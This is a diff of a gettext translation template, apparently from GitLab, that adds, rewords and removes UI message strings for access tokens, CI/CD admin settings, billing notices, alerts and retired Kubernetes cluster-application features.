msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1036,12 +1057,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1072,6 +1087,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1585,9 +1603,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1648,18 +1663,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1864,13 +1870,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1888,16 +1894,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2017,6 +2023,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2026,6 +2035,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2089,6 +2101,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2215,6 +2230,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2464,19 +2479,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2488,7 +2506,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2497,10 +2515,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2911,9 +2926,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3133,12 +3160,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3265,9 +3298,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3334,6 +3364,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3493,9 +3526,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3568,9 +3598,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3622,6 +3649,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3712,6 +3742,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3868,9 +3901,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4147,9 +4177,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4243,15 +4270,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4639,9 +4660,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4831,9 +4849,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5221,6 +5236,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5365,6 +5383,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5425,6 +5446,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5455,6 +5479,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5677,6 +5704,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5845,6 +5875,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5893,10 +5926,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5941,6 +5974,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6064,9 +6100,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6172,15 +6205,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6457,6 +6490,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6559,9 +6595,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6589,6 +6622,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7018,9 +7054,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7030,24 +7063,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7081,15 +7102,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7102,9 +7114,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7126,9 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7147,15 +7153,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7177,9 +7174,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7192,15 +7186,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7222,15 +7213,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7279,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7300,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7318,9 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7363,27 +7333,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7411,9 +7366,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7423,18 +7375,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7456,39 +7396,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7522,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7573,12 +7480,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7621,9 +7522,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7633,15 +7531,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7678,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7708,9 +7579,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7759,15 +7627,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7792,9 +7654,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7813,27 +7672,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7843,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7891,9 +7717,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7915,21 +7738,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7954,27 +7765,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7990,12 +7786,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8068,6 +7858,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8083,9 +7876,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
